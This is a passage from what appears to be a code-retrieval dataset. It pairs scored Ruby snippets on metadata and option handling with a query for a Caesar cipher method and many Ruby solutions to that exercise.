item.news_long_blurb : @description\n end\n if(item.is_a? ContentPage and item.show_meta == 1)\n @description = item.meta_desc.present? ? item.meta_desc : @description\n @authors = item.meta_author.present? ? item.meta_author : @authors\n end\n\n # if a blog\n if (item.has_attribute?(\"news_category\") and item.news_category == 'Blog')\n @authors = item.meta_author.present? ? item.meta_author : @authors\n @description = item.news_short_blurb\n end\n if (item.show_meta == 1)\n @authors = item.meta_author.present? ? item.meta_author : @authors\n @keywords = item.meta_keywords.present? ? item.meta_keywords : @keywords\n end\n end", "title": "" }, { "docid": "a1726c2984669cfd486e8544be49995d", "score": "0.5912278", "text": "def helper\n \"Set options on the selected analysis module.\"\n end", "title": "" }, { "docid": "6cd2ce90aa538c5fd3e115cb3d9793cb", "score": "0.5911959", "text": "def handle_options\n set_default_options()\n super\n end", "title": "" }, { "docid": "20f8a5db539b268349168aa25b369d4d", "score": "0.59052444", "text": "def metadata\n { internal: @internal_options, options: @options }\n end", "title": "" }, { "docid": "741e5a2d5e6525dae703c9c699ffb723", "score": "0.5902757", "text": "def set_meta\n set_meta_tags description: @blog.title,\n keywords: 'Freelance, web-developer, Ruby on Rails',\n og: {\n title: @blog.title,\n type: 'website',\n url: request.url,\n image: ActionController::Base.helpers.asset_path('zmanali-single.JPG')\n }\n end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.59021205", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.59021205", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.59021205", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.59021205", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.59021205", "text": "def meta; end", "title": "" }, { "docid": "44bdee0c8c5172e858b4445158d4bd87", "score": "0.58868957", "text": "def list_options(meta = {})\r\n opts = { is_collection: true }\r\n opts[:meta] = get_meta_data(meta)\r\n opts[:params] = get_params_data\r\n opts\r\n end", "title": "" }, { "docid": "8afa34692fdf0d61974288e15459b671", "score": "0.58805233", "text": "def register_options(options, owner = self.class)\n self.options.add_options(options, owner)\n self.datastore.import_options(self.options, 'self', true)\n import_defaults(false)\n end", "title": "" }, { "docid": "8c9e40185b9f2e02b9f9c66e3789cd80", "score": "0.5880185", "text": "def options=(p1)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "8c9e40185b9f2e02b9f9c66e3789cd80", "score": "0.5880185", "text": "def options=(p1)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "22d236846af1b55fefd2b497bf3b93bd", "score": "0.58662564", "text": "def set_static_meta_info\n @meta_info.each do |k, _|\n data = @html.css(self.class.const_get(\"META_#{k.to_s.upcase}\"))[0]\n @meta_info[k] = data['content'] if data\n end\n end", "title": "" }, { "docid": "70aa8ea9b731d8f9e78854e1c9afc420", "score": "0.5864496", "text": "def set_options_attributes(opts={})\n @options = opts\n if opts.kind_of? Hash\n opts.each do |k,v| \n self.send(\"#{k.to_sym}=\",v) if self.respond_to? k.to_sym\n puts \"@#{k} -> #{v}\"\n # instance_variable_set( \"@#{k}\", v ) \n end\n end\n end", "title": "" }, { "docid": "038aae75aee80e8642d02b58f631bc20", "score": "0.5863901", "text": "def set_options opts = {}\n @file_manager.set_options(opts) if @file_manager\n @schema.set_options(opts) if @schema\n end", "title": "" }, { "docid": "57a5f467324abcb5be25803e0da7e2d3", "score": "0.58636266", "text": "def process_options\n self.options ||= {}\n \n self.set_parent_fields!\n self.set_tag_fields!\n self.set_sorting!\n self.set_language!\n self.clean_up_angle_brackets\n \n # Clean up blank options from forms\n self.options.delete_if { |key, value| value.blank? }\n end", "title": "" }, { "docid": "57a5f467324abcb5be25803e0da7e2d3", "score": "0.58636266", "text": "def process_options\n self.options ||= {}\n \n self.set_parent_fields!\n self.set_tag_fields!\n self.set_sorting!\n self.set_language!\n self.clean_up_angle_brackets\n \n # Clean up blank options from forms\n self.options.delete_if { |key, value| value.blank? }\n end", "title": "" }, { "docid": "14ccb70da6e89083ef7a68ad937456f9", "score": "0.585808", "text": "def assign_metadata(meta)\n\t\tsuper(meta)\n\t\t\n\t\t@height, @length, @width = meta[2..4]\n\tend", "title": "" }, { "docid": "deb59031af33db59f971c2fe72e84166", "score": "0.5856389", "text": "def set_meta_keywords(options = {})\n\t\tkeywords = I18n.translate(\"#{meta_key}.keywords\", options)\n\t\tkeywords = I18n.translate('meta.default.keywords') if !have_translation?(keywords)\n\t\tkeywords = '' if !have_translation?(keywords)\n\n\t\tif @meta[:keywords].blank?\n\t\t\t@meta[:keywords] = keywords\n\t\telse\n\t\t\t@meta[:keywords] << ',' << keywords\n\t\tend\n\n\t\t@meta[:keywords]\n\tend", "title": "" }, { "docid": "9ecb470e13eff2146952e07c16e7d394", "score": "0.58534884", "text": "def set_default_meta_information\n \t@title ||= DEFAULT_TITLE\n \t@meta_description ||= DEFAULT_META_DESCRIPTION\n @social_title ||= \"\"\n @social_description ||= \"\"\n @social_url ||= \"\"\n @social_image_url ||= \"\"\n end", "title": "" }, { "docid": "dbb83bc254101c1c753dbddd880d14ad", "score": "0.58516544", "text": "def parse_meta_options\n doc = Nokogiri::HTML.parse(@theme)\n meta_elements = doc.search('meta')\n \n meta_elements.each do |element|\n break if element['name'].blank?\n \n # handling custom colors and fonts: http://www.tumblr.com/docs/en/custom_themes#appearance-options\n if element['name'].present? and element['content'].present? and (element['name'].include? 'color' or element['name'].include? 'font')\n @theme.replace_variable(element['name'], element['content'])\n end\n \n # Handling Booleans: http://www.tumblr.com/docs/en/custom_themes#booleans\n if element['name'].include? 'if:'\n if element['content'] == \"1\"\n # converts something like \"if:Show People I Follow\" to \"IfShowPeopleIFollow\"\n @theme.render_block(element['name'].titlecase.gsub(/\\W/, ''))\n # converts something like \"if:Show People I Follow\" to \"IfNotShowPeopleIFollow\"\n @theme.strip_block(element['name'].titlecase.sub(':', 'Not').gsub(/\\W/, ''))\n else\n @theme.strip_block(element['name'].titlecase.gsub(/\\W/, ''))\n @theme.render_block(element['name'].titlecase.sub(':', 'Not').gsub(/\\W/, ''))\n end\n end\n \n # Handling custom text: http://www.tumblr.com/docs/en/custom_themes#custom-text\n if element['name'].include? 'text:'\n if element['content'].present?\n @theme.replace_variable(element['name'], element['content'])\n # converts something like \"text:Flickr Username\" to \"IfFlickrUsername\"\n @theme.render_block(element['name'].sub('text', 'if').titlecase.gsub(/\\W/, ''))\n else\n @theme.strip_block(element['name'].sub('text', 'if').titlecase.gsub(/\\W/, ''))\n end\n end\n \n # Handling custom images: http://www.tumblr.com/docs/en/custom_themes#custom-images\n if element['name'].include? 'image:'\n if element['content'].present?\n @theme.replace_variable(element['name'], element['content'])\n # converts something like \"image:Header\" to \"IfHeaderImage\"\n @theme.render_block(element['name'].sub('image', 'if').titlecase.gsub(/\\W/, '') + \"Image\")\n # converts something like \"image:Header\" to \"IfNotHeaderImage\"\n @theme.strip_block(element['name'].sub('image', 'if').titlecase.sub(':', 'Not').gsub(/\\W/, '') + \"Image\")\n else\n @theme.strip_block(element['name'].sub('image', 'if').titlecase.gsub(/\\W/, '') + \"Image\")\n @theme.render_block(element['name'].sub('image', 'if').titlecase.sub(':', 'Not').gsub(/\\W/, '') + \"Image\")\n end\n end\n end # of meta_elements each\n \n # Removing {CustomCSS}\n @theme.strip_variable(\"CustomCSS\")\n end", "title": "" }, { "docid": "79e84530108cbba71b2a21e0131e71a7", "score": "0.5844994", "text": "def process_options\n \n end", "title": "" }, { "docid": "0b758c9c05c31af0163bba2ba898a9a8", "score": "0.5843166", "text": "def options\n data.options\n end", "title": "" }, { "docid": "569f8833fa8f11d2a75f81eae3e34efc", "score": "0.58368754", "text": "def set_meta(key, val)\n key = key.to_s\n\n # Redundances\n if key == 'title!'\n @meta['og:title'] ||= val\n @meta['twitter:title'] ||= val\n elsif key == 'image!'\n @meta['og:image'] ||= val\n @meta['twitter:image'] ||= val\n elsif key == 'description!'\n @meta['description'] ||= val\n @meta['og:description'] ||= val\n @meta['twitter:description'] ||= val\n elsif key == 'url!'\n @meta['canonical'] ||= val\n @meta['og:url'] ||= val\n @meta['twitter:url'] ||= val\n else\n @meta[key] = val\n end\n end", "title": "" }, { "docid": "db83184e3ff6b388ad54ac8dd7160443", "score": "0.58352774", "text": "def initialize data=nil, meta=nil\n @data = self.class.assign_meta data, meta\n end", "title": "" }, { "docid": "d74ccec5aeb840fcac568292c11f5c67", "score": "0.5824389", "text": "def metadata=(_); end", "title": "" }, { "docid": "a6be45f675dca11d2181039f07b83802", "score": "0.58196026", "text": "def meta_attribute(opts)\n raise ArgumentError unless opts.is_a?(Hash)\n # extract the documentation part and add it where it belongs\n new_attribute = MetaAttribute.new(opts)\n @meta_attributes << new_attribute\n @meta_attributes\n end", "title": "" }, { "docid": "117b684bc4b588ca27dfc29c7baf358f", "score": "0.5819485", "text": "def set_Metadata(value)\n set_input(\"Metadata\", value)\n end", "title": "" } ]
f50bd9b90e6845607559a972a29fc771
Write a method caesar_cipher that takes in a string and a number. The method should return a new string where every character of the original is shifted num characters in the alphabet. input type : 1 string, 1 number output(to return) type : (new) string > num My solution Step 1 : alphabet with index Feel free to use this variable: alphabet = "abcdefghijklmnopqrstuvwxyz"
[ { "docid": "5aa162adb2939e0d0f3c1274dffef661", "score": "0.7292734", "text": "def caesar_cipher(str, num)\n\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n alphabet.each_char.with_index do |char, idx|\n puts char\n puts idx\n puts \"---\"\n end \n\nend", "title": "" } ]
[ { "docid": "bb77f6b59a969961ce2b9c405aea7c08", "score": "0.88040024", "text": "def caesar_cipher(str, num)\n alphabet = 'abcdefghijklmnopqrstuvwxyz'\n\n str.each_char.with_index do |char, i|\n shift = alphabet.index(char) + num # shifting num chars in the alphabet\n if shift > 26 # restart at 0 after index 26\n shift -= 26\n end\n str[i] = alphabet[shift]\n end\n\n str\nend", "title": "" }, { "docid": "073fdb1d2aafa42df56e3a309f33f682", "score": "0.86259735", "text": "def caesar_cipher(str, num)\n new_str = \"\"\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n str.each_char do |char|\n old_index = alphabet.index(char)\n new_index = old_index + num\n new_char = alphabet[new_index % 26] # MOST IMPORTANT STEP!!!!! THIS WILL ALSO TAKE CARE OF new_index > 26\n new_str += new_char\n end\n return new_str\nend", "title": "" }, { "docid": "c5ce290f22e510776c8f1f51bee4e05c", "score": "0.85665464", "text": "def caesar_cipher(str, num)\n alphabet = \"abcdefghijklmnopqrstuvxyz\"\n new_str = \"\"\n \n str.each_char do |char|\n old_idx = alphabet.index(char) # each items index on the alphabet\n\tnew_idx = old_idx + num\n\tnew_char = alphabet[new_idx % 26] # to ensure that results is always less than 26 e.g. 'z' + 4 will fail without this, will now return to 'a' + 4 = 'd'.\n\tnew_str += new_char\n\tend\n \n return new_str\n\nend", "title": "" }, { "docid": "c145a0039cdd99550299c70e7449492e", "score": "0.855313", "text": "def caesar_cipher(str, num)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n new_str = \"\"\n\n str.each_char do |char|\n old_idx = alphabet.index(char)\n new_idx = old_idx + num\n new_char = alphabet[new_idx % 26]\n new_str += new_char\n end\n\n return new_str\nend", "title": "" }, { "docid": "831c9719591dee4e0d2b06ee6998b6d5", "score": "0.8552294", "text": "def caesar_cipher(str, num)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n new_str = \"\"\n\n str.each_char do |char|\n old_idx = alphabet.index(char)\n new_idx = old_idx + num\n new_char = alphabet[new_idx % 26]\n new_str += new_char\n end\n\n return new_str\nend", "title": "" }, { "docid": "49a33f7c22af00fc24cae279b22d3a92", "score": "0.85472643", "text": "def caesar_cipher(str, num)\r\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n new_str = \"\"\r\n\r\n str.each_char do |char|\r\n old_idx = alphabet.index(char)\r\n new_idx = old_idx + num\r\n new_char = alphabet[new_idx % 26]\r\n new_str += new_char\r\n end\r\n\r\n return new_str\r\nend", "title": "" }, { "docid": "f377b9d8a22c3fbd1aa15da89c4339ef", "score": "0.8534663", "text": "def caesar_cipher(str, num)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n new_str = \"\"\n \n\tstr.each_char do |char|\n old_idx = alphabet.index(char)\n new_idx = old_idx + num\n new_char = alphabet[new_idx % 26]\n new_str += new_char\n\n end\n return new_str\n\nend", "title": "" }, { "docid": "88f20e69a8da33ea5c356aec4f36d7e0", "score": "0.8530878", "text": "def caesar_cipher(str, num)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n new_str = \"\"\n \n str.each_char do |char|\n old_idx = alphabet.index(char)\n new_idx = old_idx + num\n new_char = alphabet[new_idx % 26]\n new_str += new_char\n end\n\n return new_str\nend", "title": "" }, { "docid": "3db7137c4570974c6bb5131e3e8f82e9", "score": "0.8524964", "text": "def caesar_cipher(str, num)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n new_str = \"\"\n \n str.each_char do |char|\n old_idx = alphabet.index(char)\n new_idx = old_idx + num\n new_char = alphabet[new_idx % 26]\n new_str += new_char\n end\n \n return new_str\nend", "title": "" }, { "docid": "f48c6162d6d7158213e2ef5cee5e0ff8", "score": "0.8479135", "text": "def caesar_cipher(str, num)\n new_str = \"\"\n str.each_char { |c| new_str += shift_char(c, num) }\n new_str\nend", "title": "" }, { "docid": "8b89ac4a170eacceb3c8e20cc2fd9c7f", "score": "0.83194894", "text": "def caesar_cipher(str, num)\n alphabet = 'abcdefghijklmnopqrstuvwxyz'\n cipher = ''\n\n (0...str.length).each do |i|\n char = str[i]\n index = alphabet.index(char) + num\n cipher += alphabet[index % 26]\n end\n return cipher\nend", "title": "" }, { "docid": "3acc518f863b03e6a7e0fdf170d639da", "score": "0.83086413", "text": "def caesar_cipher(caesar_string, shift_factor) \n alphabet = (\"a\"..\"z\").to_a\n new_string = \"\"\n\n caesar_string.each_char do |input|\n if input == \" \"\n new_string += \" \"\n else \n old_index = alphabet.find_index(input)\n new_index = (old_index + shift_factor) % alphabet.count\n new_string += alphabet[new_index]\n end\n end\n\nputs new_string.chomp\n\nend", "title": "" }, { "docid": "f2fc15f94c4b948f502fb484dbe60dc7", "score": "0.8302479", "text": "def caesar_cipher(str, num)\n \tnew_str = \"\"\n\n \tstr.each_char do |c|\n new_letter = c.ord + num\n if new_letter > 122\n shift = ((new_letter - 96) % 26) + 96\n new_str += shift.chr\n else\n new_str += new_letter.chr\n end\n end\n return new_str\nend", "title": "" }, { "docid": "5c651295d68f689980b50eaa60794653", "score": "0.82316864", "text": "def caesar_cipher(str, shift)\n alpha = (\"a\"..\"z\").to_a\n new_str = \"\"\n \n str.each_char do |char|\n if alpha.index(char)\n old_idx = alpha.index(char)\n new_str += alpha[(old_idx + shift) % 26]\n else\n new_str += char\n end\n end\n\n new_str\nend", "title": "" }, { "docid": "f8b9a5e1031ad4f5235c4c72978390f2", "score": "0.8229386", "text": "def caesar_cipher(string, shift_factor)\n alphabet = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\", \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\"]\n return string.split(//).map { |el|\n el.gsub(/\\w/, \"#{ind = alphabet.index(el).to_i + shift_factor\n until alphabet.index(el).to_i > 25 && ind < 52 || alphabet.index(el).to_i < 26 && ind < 26\n ind -= 26\n end\n alphabet[ind]}\")\n }.join\nend", "title": "" }, { "docid": "2d6ac6a00eddd9bf1c89b75aa91ea9a0", "score": "0.82067573", "text": "def caesar_cipher(str, num)\n \talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n \tcipher = \"\"\n\n\tstr.each_char do |char|\n \tletterPos = alphabet.index(char)\n \tnewPos = letterPos + num\n \tcipher += alphabet[newPos % 26] # mod so wraps arround\n end\n \n \treturn cipher\nend", "title": "" }, { "docid": "5272c274caffbd0c4c710f10ee3c6434", "score": "0.81861085", "text": "def caesar_cipher(string,num)\n alpha = (\"a\"..\"z\").to_a \n string_array = \"\"\n string.each_char do |char|\n if alpha.include?(char)\n old_index = alpha.index(char)\n new_index = old_index + num \n string_array += alpha[new_index % 26]\n else\n string_array += char \n end\n\n end\n return string_array\nend", "title": "" }, { "docid": "3d1cd261d277d4326c929bddeed1273f", "score": "0.81667364", "text": "def caesar_cipher(string, shift_factor)\n\n\n upc_alphabet_arr = ('A'..'Z').to_a\n downc_alphabet_arr = ('a'..'z').to_a\n\n\n string_chars_arr = string.chars\n\n new_chars_arr = []\n\n string_chars_arr.each do |char|\n if upc_alphabet_arr.include?(char)\n new_index = (upc_alphabet_arr.index(char) + shift_factor)%26\n new_char = upc_alphabet_arr[new_index]\n\n new_chars_arr << new_char\n\n elsif downc_alphabet_arr.include?(char)\n new_index = (downc_alphabet_arr.index(char) + shift_factor)%26\n new_char = downc_alphabet_arr[new_index]\n\n new_chars_arr << new_char\n\n else \n new_chars_arr << char\n end\n end\n\n new_string = new_chars_arr.join(\"\")\n puts new_string\nend", "title": "" }, { "docid": "ef6bf8e21d4069b386aa3732eb85d259", "score": "0.8161782", "text": "def caesar_cipher(string, shift = DateTime.now.day) # I set shift to be the current day if I do not include a parameter for it\n string.tr Alphabet.join, Alphabet.map{ |array| array.rotate shift }.join # This looks at every single character in the string and uses .map to rotate the array to bascially let it shift how ever many times within the array to assign the new character to the string variable\nend", "title": "" }, { "docid": "688e0a2ce5eaea9db05cd5d86670cad1", "score": "0.81429315", "text": "def caesar_cipher(str, num)\r\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n cypher = alphabet.split(\"\").map.with_index do |char, i|\r\n if !(alphabet.split(\"\").index(char) + num >= alphabet.split(\"\").length)\r\n alphabet.split(\"\")[alphabet.split(\"\").index(char) + num]\r\n else\r\n alphabet.split(\"\")[alphabet.split(\"\").index(char) + num - alphabet.split(\"\").length]\r\n end\r\n end\r\n cryptography = ''\r\n str.each_char do |char|\r\n cryptography += cypher[alphabet.index(char)]\r\n end\r\n return cryptography\r\nend", "title": "" }, { "docid": "58c1048e8ee58a46f481aea362ea917f", "score": "0.8116632", "text": "def caesar_cipher(string, shift)\n begin\n shift = shift % 26\n new_string = \"\"\n letters = string.split('')\n letters.each do |i|\n if i >='a' && i <= 'z'\n encrypted = i.ord + shift\n if encrypted > 122 # ASCII for 'z'; wraps around to 'a'\n encrypted = encrypted - 26\n end\n elsif i >='A' && i <= 'Z'\n encrypted = i.ord + shift\n if encrypted > 90 # ASCII for 'Z'; wraps around to 'A'\n encrypted = encrypted - 26\n end\n else\n encrypted = i\n end\n new_string << encrypted.chr\n end\n return new_string\n rescue TypeError\n return \"Invalid shift factor. Please enter a number.\"\n end\nend", "title": "" }, { "docid": "4bcabb866246aeea5b6297cc4bfaa5e2", "score": "0.80712575", "text": "def caesar_cipher(str, shift)\n alphabet ||= ('a'..'z').to_a\n res = \"\"\n str.chars.each do |letter|\n if letter == \" \"\n res += letter\n else\n old_idx = alphabet.index(letter)\n new_idx = old_idx*shift % 26\n res += alphabet[new_idx]\n end\n end\n res\nend", "title": "" }, { "docid": "d9a2417466e6b1c6eb893425f9e869d6", "score": "0.80464274", "text": "def caesar_cipher(string, shift)\n shifted = \"\"\n letters = (\"a\"..\"z\").to_a\n string.each_char do |char|\n old_idx = letters.find_index(char)\n if old_idx\n shifted << letters[(old_idx + shift) % 26]\n else\n shifted << \" \"\n end\n end\n\n shifted\nend", "title": "" }, { "docid": "bc19de3b3701a5e9800685ae7ec86465", "score": "0.79909396", "text": "def caesar_cipher(string, shift_factor)\n output = \"\"\n string.scan (/./) do |i|\n if (\"a\"..\"z\").include? (i.downcase)\n shift_factor.times {i = i.next}\n end\n output << i[-1]\n end\n return output\nend", "title": "" }, { "docid": "85b1c622c1a4628c8bcbfcdaaedcc907", "score": "0.7986987", "text": "def caesar_cipher(str, shift)\n letters = (\"a\"..\"z\").to_a\n new_string = \"\"\n str.chars.each do |char|\n if letters.include?(char)\n shift_position = (letters.index(char) + shift) % 26\n new_string += letters[shift_position]\n else\n new_string += char\n end\n end\n new_string\nend", "title": "" }, { "docid": "d19b9b1085166e12f266f340715ae880", "score": "0.7963505", "text": "def caesar_cipher(string, shift)\n alphabet = (\"a\"..\"z\").to_a\n\n result = \"\"\n string.each_char do |char|\n if char == \" \"\n result += \" \"\n else\n result += alphabet[(alphabet.index(char) + shift) % 26]\n end\n end\n\n return result\nend", "title": "" }, { "docid": "5bd663f792bfd2a072a163700ab75827", "score": "0.79614663", "text": "def caesar_cipher(num)\n alpha = (\"a\"..\"z\").to_a\n\n new_word = \"\"\n self.each_char do |char|\n old_ind = alpha.index(char)\n new_ind = (old_ind + num) % 26\n new_word += alpha[new_ind]\n end\n new_word\n end", "title": "" }, { "docid": "2f16d73f070e3c510f60d35bf06b310e", "score": "0.7956822", "text": "def caesar_cipher(str, shift)\n letters = (\"a\"..\"z\").to_a\n\n encoded_str = \"\"\n str.each_char do |char|\n if char == \" \"\n encoded_str << \" \"\n next\n end\n\n old_idx = letters.find_index(char)\n new_idx = (old_idx + shift) % letters.count\n\n encoded_str << letters[new_idx]\n end\n\n encoded_str\nend", "title": "" }, { "docid": "df1e3ac3523dacaf83924977d6f728c5", "score": "0.7942011", "text": "def caesar_cipher(str, shift)\n letters = (\"a\"..\"z\").to_a\n\n encoded_str = \"\"\n str.each_char do |char|\n if char == \" \"\n encoded_str < \" \"\n next\n end\n old_idx = letters.find_index(char)\n new_idx = (old_idx + shift) % letters.count\n encoded_str << letters[new_idx]\n end\n encoded_str\nend", "title": "" }, { "docid": "240117f45ff1295e84f10d4672cef4cb", "score": "0.79380393", "text": "def caesar_cipher(str, shift)\n letters = (\"a\"..\"z\").to_a\n\n encoded_str = \"\"\n str.split('').each do |char|\n if char == \" \"\n encoded_str << \" \"\n next\n end\n\n old_idx = letters.find_index(char)\n new_idx = (old_idx + shift) % letters.count\n\n encoded_str << letters[new_idx]\n end\n\n encoded_str\nend", "title": "" }, { "docid": "cf2c23ce721d4f11135ecbf45b5abec3", "score": "0.7930119", "text": "def caesar_cipher(str, shift)\n cipher = (\"a\"..\"z\").to_a\n\n result = \"\"\n str.chars.each do |char|\n if char == \" \"\n result << char\n else\n shifted_idx = cipher.index(char) * shift % cipher.length\n result << cipher[shifted_idx]\n end\n end\n result\nend", "title": "" }, { "docid": "8923f0be3e79dfd572c6a9f37ac1aec2", "score": "0.7916539", "text": "def caesar_cipher(word, shift)\n letters = ('a'..'z').to_a.concat(('A'..'Z').to_a)\n cipher = \"\"\n\n #only shift alpha characters\n word.each_char do |c|\n cipher += letters.include?(c) ? letters[(letters.index(c) + shift) % 52] : c\n end\n\n cipher\nend", "title": "" }, { "docid": "7a1d600c0f66ec81122f79bb0234c2e4", "score": "0.7913718", "text": "def caesar_cipher(str, shift)\n alph = (\"a\"..\"z\").to_a\n\n decode = \"\"\n\n str.chars.each do |letter|\n if letter == \" \"\n decode << letter\n end\n\n num = alph.find_index(letter)\n decode << alph[(num + shift) % 26]\n end\n\n decode\nend", "title": "" }, { "docid": "e9313635cdda202834c474b25ff93d98", "score": "0.7909338", "text": "def caesar_cipher(str, shift)\n letters = (\"a\"..\"z\").to_a\n\n encoded_str = \"\"\n str.chars.each do |char|\n if char == \" \"\n encoded_str += \" \"\n next\n end\n\n old_idx = letters.index(char)\n new_idx = (old_idx + shift) % letters.length\n encoded_str << letters[new_idx]\n end\n\n encoded_str\nend", "title": "" }, { "docid": "1424f5eaca6677a085a8977fe999400c", "score": "0.7901177", "text": "def caesar_cipher(text_to_cipher, key)\n # ensure key is a value between 0 and 25\n key = key % 26\n\n text_to_cipher.split(\"\").map do |character|\n if letter?(character)\n shift(character, key)\n else\n character\n end\n end.join(\"\")\n\nend", "title": "" }, { "docid": "91082f1e5ca6ac329cba0b40c8e6d453", "score": "0.78660625", "text": "def caesar_cipher(str, shift)\n results = []\n #get all chars\n chars = str.split('')\n # if its a char included in alpha then get index num of low case\n alphabet = ('a'..'z').to_a\n chars.each do |char|\n if alphabet.include?(char.downcase)\n index = alphabet.index(char.downcase)\n results << alphabet[(index+shift)%26]\n else\n results << char\n end\n end\n # add the shift to index and get the modulo and get the letter indexd there\n # else pass the char to results because not a letter\n\n results.join('')\n\nend", "title": "" }, { "docid": "e1651d9679ba0f6dbfd6dac79f59f413", "score": "0.7858375", "text": "def caesar_cipher(string, shift)\n lower = ('a'..'z')\n caesar_string = ''\n\n string.each_char do |char|\n shift.times { char = char.next } if lower.include?(char.downcase) # identify letters only\n caesar_string << char[-1]\n end\n caesar_string\nend", "title": "" }, { "docid": "6ef692f086999c63512a0b984a964b0d", "score": "0.7852661", "text": "def caesar_cipher(string_to_cipher, shift)\n shifted_string = \"\"\n string_to_cipher.chars.map do |char|\n ascii = char.ord\n if ((65..90) === ascii || (97..122) === ascii) then \n ascii += shift \n if (ascii > 90 && ascii < 97) || (ascii > 122) then\n ascii -= 26\n end\n end\n shifted_string += ascii.chr\n\n end\n shifted_string\nend", "title": "" }, { "docid": "07c764d9ef57ef339c1f3dce6ede1bed", "score": "0.7842989", "text": "def caesar_cipher(string, shift)\n\n while shift > 26 #prevents users from accessing a value beyond the letters of ASCII table\n puts 'Sorry choose a number equal to or lower than 26'\n shift.gets.chomp.to_i\n end \n \nstring.chars.map {|char| #.chars seperates each symbol of the string (including spaces) into an array; .map 'maps' each element in the block with |char| representing the variable being targeted\n if char =~ (/\\w/) && char == char.upcase #the =~ is a 'match operator' used to match current char with \\w (any alphanumeric character) AND checks to see if char is uppercase\n char = char.ord + shift # .ord gives the ASCII value of the char + given shift num \n if char > 90 #if char is greater than 90, substract the total letters of alphabet to link char with appropriately shifted posotion \n char = (char - 26).chr #use chr to return it back to letter form \n else\n char.chr #if not greater than 90 (all char greater than 90 fall into lowercase category), simply return the .chr \n end\n elsif char =~ (/\\w/) && char == char.downcase #elsif char matches alphanumeric character AND downcase....\n char = char.ord + shift #.ord value +shift \n if char > 122 #if greater than lowercase z in ASCII table...\n char = (char - 26).chr \n else\n char.chr\n end\n else #if its not a letter just char it up some \n char\n \n end}.join #rejoin the .chars array as shifted string \n \nend", "title": "" }, { "docid": "3fdfb2bf0dd8f78af1cbb75e8cdc54c1", "score": "0.78213686", "text": "def caesar_cipher(str, shift)\n dictionary = (\"a\"..\"z\").to_a\n new_array = []\n str.split(\"\").each do |letter|\n index_letter = dictionary.find_index(letter)\n if index_letter.nil?\n new_array << letter\n else\n new_index = (index_letter + shift) % 26\n\n new_array << dictionary[new_index]\n end\n end\n new_array.join\nend", "title": "" }, { "docid": "2c38265c366a482edcc3b0a159883d6f", "score": "0.7813267", "text": "def caesar_cipher(string=\"What a string!\",num=5)\n newstring=''\n string.scan(/./) do |x|\n asc=x.ord\n if (97..122).include?(asc)\n if asc>122-num\n asc=96+(num-(122-asc))\n else\n asc += num\n end\n elsif (65..90).include?(asc)\n if asc>90-num\n asc=64+(num-(90-asc))\n else\n asc += num\n end\n else\n asc=asc\n end\n new_character=asc.chr\n newstring=newstring + new_character\n end\n puts newstring\nend", "title": "" }, { "docid": "c81e8250095f24cedaf92b9e7893ab00", "score": "0.77987087", "text": "def caesar_cipher(str, shift)\n alphabet = ('a'..'z').to_a\n arr = []\n words = str.split\n words.each do |word|\n newword = ''\n word.each_char do |chr|\n idx = alphabet.index(chr) + shift\n newword += alphabet[idx % alphabet.length]\n end\n arr << newword\nend\n arr.join(' ')\nend", "title": "" }, { "docid": "1efe10e6d6fccdb2b3911fec6c81b61b", "score": "0.7788471", "text": "def caesar(str, shift)\n\n alpha = ('a'..'z').to_a\n cipher = []\n\n str.split(\"\").map do |char|\n\n if alpha.include? char\n\n char_index = (alpha.index(char) + shift) % 26\n\n cipher << alpha[char_index]\n\n elsif alpha.include? char.downcase\n\n char_index = (alpha.index(char.downcase) + shift) % 26\n\n cipher << alpha[char_index].upcase\n\n\n else\n\n cipher << char\n\n end\n\n end\n\n cipher.join\n\nend", "title": "" }, { "docid": "52c2043cc8707400ca9ff9cf2acdaf80", "score": "0.7782464", "text": "def caesar_cipher(str, shift)\n alpha = ('a'..'z').to_a\n\n str.split(' ').map do |word|\n word.chars.map { |x| alpha[(alpha.index(x) + shift) % 26] }.join\n end.join(' ')\nend", "title": "" }, { "docid": "b6d3dd90534f0502186fb1021f35e111", "score": "0.77817947", "text": "def caesar_cipher(str, shift)\n result = \"\"\n str.each_char do |char|\n if char == \" \"\n result += \" \"\n next\n else\n shift.times { char == \"z\" ? char = 'a' : char = char.next }\n result += (char)\n end\n end\n result\nend", "title": "" }, { "docid": "756c1c755860d84b12a2e84a1776b66b", "score": "0.77742696", "text": "def caesar_cipher(string, shift_factor = 0)\n result = ''\n string.each_char do |char|\n # use cipher only if char is an uppercase or lowercase letter\n if char.ord.between?(65, 90) || char.ord.between?(97, 122)\n new_code = char.ord + shift_factor\n\n #ensure wrapping from Z to A or z to a\n new_code -= 26 if (new_code > 91 && char.ord < 91) || new_code > 122\n result += new_code.chr\n else\n result += char\n end\n end\n result\nend", "title": "" }, { "docid": "99fe5d37b4c0f335f5d626833c1d15b8", "score": "0.7735605", "text": "def caesar_cipher (text, number)\n\tcipher = ''\n\ttext.each_char do |char|\n\t\tif (char>='a' and char<='z') or (char>='A' and char<='Z')\n\t\t\tuplow = 